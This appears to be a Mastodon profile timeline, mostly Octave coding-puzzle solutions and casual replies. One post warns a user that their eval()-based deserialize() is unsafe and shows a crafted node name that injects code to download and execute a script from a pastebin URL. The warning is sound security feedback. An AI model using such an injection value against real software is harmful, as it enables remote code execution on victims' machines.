Show newer

@TatsuyaIshida In the comic you posted on Tuesday (spinster.xyz/@TatsuyaIshida/po) the third row looks like Clio, Tessy, someone else, and Clio again - who is in the third panel?

@billstclair @Absinthe @freemo

This solution gives wrong answers in certain cases. E.g. "10" should return one solution, the letter "j', but instead it gives zero. I'm suspicious of the inequalities on line 95 (strictly greater than zero AND strictly less than twenty-six permits the integers 1-25, which looks like a fencepost error given a 26-character alphabet).

@Absinthe @namark

My take on it is, "Man-hours cost more than CPU-hours." Say I figure out a more sophisticated algorithm that can save CPU time, but implementing it and debugging the extra complexity costs an hour of my time. It probably doesn't make sense to go that route unless it will save more than about fifty hours of compute time in the long run.

E.g. if on a typical dataset I can save a second per run by getting fancy, we would recoup my invested time after 180,000 executions of the program. If it's a report that gets run daily, that break-even point is about five hundred years in the future.

Octave solution 

@Absinthe

Linear in time and space by taking advantage of the Fibonacci numbers.

function count = interpretations(string)
ambig = string(1:end-1) == '1' | (string(1:end-1) == '2' & string(2:end) <= '6');
ambig &= string(1:end-1) ~= '0' & string(2:end) ~= '0' & [string(3:end) '1'] ~= '0';
ambig = [false ambig false];
consec = find(ambig(1:end-1) & !ambig(2:end)) - find(!ambig(1:end-1) & ambig(2:end));

fibo = zeros(max(consec), 1);
fibo(1:2) = [2 3];
for i = 3:max(consec)
fibo(i) = fibo(i - 1) + fibo(i - 2); end;
count = prod(arrayfun(@(x)fibo(x), consec)); end;

@namark

That doesn't cause a stack overflow anymore, but it still fails to parse, e.g. if you rename the "left.left" node to "0", "sometext|0", "sometext|0|moretext", etc.

Also this is a *weird* language.

@Absinthe @billstclair @namark

I don't think you need any global variables.

Your input string looks something like Node('foo',None,Node('bar',None,None)) based on the ouput of your version of serialize(), right? So you can parse it recursively. The general algorithm could be something like:

1. Check that the string begins with 'Node('.

2. Find the first comma. Everything between 'Node(' until this point is self.val.

3. If the next four characters after the comma are 'None' self.left is None.

4. If self.left is not None, examine the string starting after the comma.
a. Set the nesting level to zero.
b. For every open-paren increment the nesting level by one.
c. For every close-paren decrement the nesting level by one.
d. When you find a comma AND the nesting level is zero, stop.

5. Recursively call deserialize() on everything between the comma you found in step 2 and the comma you found in step 4d. Save the answer as self.left.

6. If the next four characters after the comma are 'None' self.right is None.

7. If self.right is not None, examine the string starting after the comma.
a. Set the nesting level to zero.
b. For every open-paren increment the nesting level by one.
c. For every close-paren decrement the nesting level by one.
d. When you find a close-paren AND the nesting level is zero, stop.

8. Recursively call deserialize() on everything between the comma you found in step 4d and the close-paren you found in step 7d. Save the answer as self.right.

@freemo Looks like you get the most consistent linewidth with 3 but I find the grey ink from 4 most attractive. Have you used oblique pens or only straight ones?

Better deserialize() 

function indices = control_chars(string)
special_chars = strchr(string, '(,)');
indices = [];
if ~isempty(special_chars)
is_backslash = string == '\';
for i = special_chars
is_escaped = false;
for j = (i - 1):-1:1
if is_backslash(j)
is_escaped = ~is_escaped;
else
break; end; end;
if ~is_escaped
indices = [indices i]; end; end; end; end;

function node = deserialize(string)
controls = control_chars(string);
if numel(controls) == 0
node.val = unescape_chars(string);
node.left = [];
node.right = [];
else
if string(controls(1)) ~= '('
error('Invalid control character at %d', controls(1)); end;
nested_level = 0;
top_controls = NaN(3, 1);
for i = controls
switch string(i)
case '('
if nested_level == 0
top_controls(1) = i; end;
nested_level++;
case ','
if nested_level == 1
if ~isnan(top_controls(2))
error('Encountered '','' at %d after finding two children', i); end;
top_controls(2) = i; end;
case ')'
if nested_level <= 1
if isnan(top_controls(2))
error('Encountered '')'' at %d before finding two children', i);
elseif i ~= numel(string)
error('Encountered final '')'' at %d before end of string', i); end;
top_controls(3) = i; end;
nested_level--; end; end;
if any(isnan(top_controls))
error('Incomplete tree description'); end;
node.val = unescape_chars(string(1:(top_controls(1) - 1)));
node.left = deserialize(string((top_controls(1) + 1):(top_controls(2) - 1)));
node.right = deserialize(string((top_controls(2) + 1):(end - 1))); end; end;

@Absinthe I have hardly any experience with Python but I think you ought to write your own parser that reports an error on input that can't represent an actual tree (this is what I did in my solution, anyway). The other issue is making sure you escape any special characters in Node.val so your parser doesn't treat them as control characters.

Octave solution 

function self = node(val, left = [], right = [])
self.val = val;
self.left = left;
self.right = right; end;

function escaped = escape_chars(raw)
escaped = regexprep(raw, '([\\\(\),])', '\\$1'); end;

function raw = unescape_chars(escaped)
i = 1;
while i < numel(escaped)
if escaped(i) == '\'
escaped = escaped([1:(i - 1) (i + 1):end]); end;
i++; end;
raw = escaped; end

function index = val_extent(string)
special_chars = strchr(string, '(,)');
if isempty(special_chars)
index = 0;
else
is_backslash = string == '\';
for i = special_chars
is_escaped = false;
for j = (i - 1):-1:1
if is_backslash(j)
is_escaped = ~is_escaped;
else
break; end; end;
if ~is_escaped
break; end; end;
index = i; end; end;

function string = serialize(tree)
if isempty(tree)
string = [];
elseif isempty(tree.left) && isempty(tree.right)
string = escape_chars(tree.val);
else
string = [escape_chars(tree.val) '(' serialize(tree.left) ',' serialize(tree.right) ')']; end; end

function [node, leftover] = deserialize(string)
next_special = val_extent(string);
if next_special == 0
node.val = unescape_chars(string);
node.left = [];
node.right = [];
leftover = [];
elseif string(next_special) == '('
node.val = unescape_chars(string(1:(next_special - 1)));
leftover = string((next_special + 1):end);
[node.left, leftover] = deserialize(leftover);
[node.right, leftover] = deserialize(leftover);
else
if next_special == 1
node = [];
else
node.val = unescape_chars(string(1:(next_special - 1)));
node.left = [];
node.right = []; end
if string(next_special) == ','
leftover = string((next_special + 1):end);
else
leftover = string((next_special + 2):end); end; end; end;

Unsafe code behaviour 

@Absinthe Your implementation of serialize() can't handle nodes whose names contain quote marks. Ordinarily this would only cause it to output strings that deserialize() can't understand, but, since your implementation of deserialize() eval()s its argument, it's possible to execute arbitrary code on any machine attempting to deserialize(serialize()). For example:

node = Node("' + str(exec('import urllib.request; exec(urllib.request.urlopen(\\\'pastebin.com/raw/Tuh7jNbc\\\').read())')) + '")

deserialize(serialize(node));

Octave solution 

function index = first_missing(array)

for i = 1:numel(array)
index = array(i);
if index > 0 && index <= numel(array)
array(i) = array(index);
array(index) = index; end; end;
index = i + 1;
while i > 0
if array(i) != i
index = i; end;
i--; end; end;

Octave solution: print_combos(1:9, 100) 

function num = print_combos(arr, tgt)
num = 0;
ops = zeros(numel(arr) - 1, 1);
for i = int32(0:(3 ^ numel(ops)))
for j = 1:numel(ops)
ops(j) = mod(i, 3);
i = floor(i / 3); end;
if eval_array(arr, ops) == tgt
for j = 1:numel(ops) fprintf("%d%s", arr(j), decode_op(ops(j))); end;
fprintf("%d = %d\n", arr(end), tgt);
num++; end; end; end

function res = eval_array(arr, ops)
i = 1;
while i <= numel(ops)
if ops(i) == 0
arr = [arr(1:(i - 1)) 10 * arr(i) + arr(i + 1) arr((i + 2): end)];
ops = ops([1:(i - 1) (i + 1):end]);
else i++; end; end;
res = arr(1);
for i = 1:numel(ops)
res = apply_op(res, arr(i + 1), ops(i)); end; end

function res = apply_op(lar, rar, idx)
if idx == 1 res = lar + rar;
elseif idx == 2 res = lar - rar; end; end

function sym = decode_op(num)
if num == 1 sym = " + ";
elseif num == 2 sym = " - ";
else sym = ""; end; end;

@arteteco On the experimental end of the spectrum, I've been enjoying 19-EDO music (dividing the octave into nineteen pitches rather than the conventional twelve). Most microtonal schemes just sound really weird and discordant, but 19-EDO is more like "normal" music with new chords.

Blackwood, 1981: "Fanfare in 19-note Equal Tuning," Op. 28a
youtube.com/watch?v=aB4nwq8NGY

@freemo Despite all the attacks on them in the comments, the ADL actually debunked this: adl.org/blog/how-the-ok-symbol-became-a-popular-trolling-gesture

@freemo Is there a way to individually opt out of the server-imposed silence? E.g. if I want Spinster posts to show up in my federated feed, how could I accomplish this short of following everyone on the instance? I don't really want them in my home feed but federated would be fine.

@peterdrake How about a setting where it assumes general familiarity with the home area?
When you start off, it says "Get on Highway X westbound," instead of holding my hand through several different minor intersections (which I already know by heart) as I leave the subdivision. Then it gets more precise in the vicinity of the destination where I may know only the major thoroughfares and need help finding my destination on the side streets.

@freemo I'm told by my (Protestant) seminarian friend that this may be due to denominational differences, as the infant Jesus is venerated along with his mother Mary in Catholic tradition. Protestant references to "baby Jesus" are likely ironic today, since it was vigorously parodied in the movie Talladega Nights.

@jeffcliff@niu.moe It opens the party up to charges that it doesn't stick to its positions and is thus untrustworthy. Politicians try to convince the electorate they have strong principles so they can be relied upon to do the right thing, but if they adopt another party's position, either they are opportunists who seek political advantage by abandoning their principles, or they aren't competent enough to have come up with the better position on their own.

@freemo Side note - why does the word "prayer" mean the words spoken, not the person doing the speaking? Shouldn't it be "prayage" or something like that, so we can reserve "prayer" for the person performing the action?

Show older

K‮ly‬e's choices:

Qoto Mastodon

QOTO: Question Others to Teach Ourselves
An inclusive, Academic Freedom, instance
All cultures welcome.
Hate speech and harassment strictly forbidden.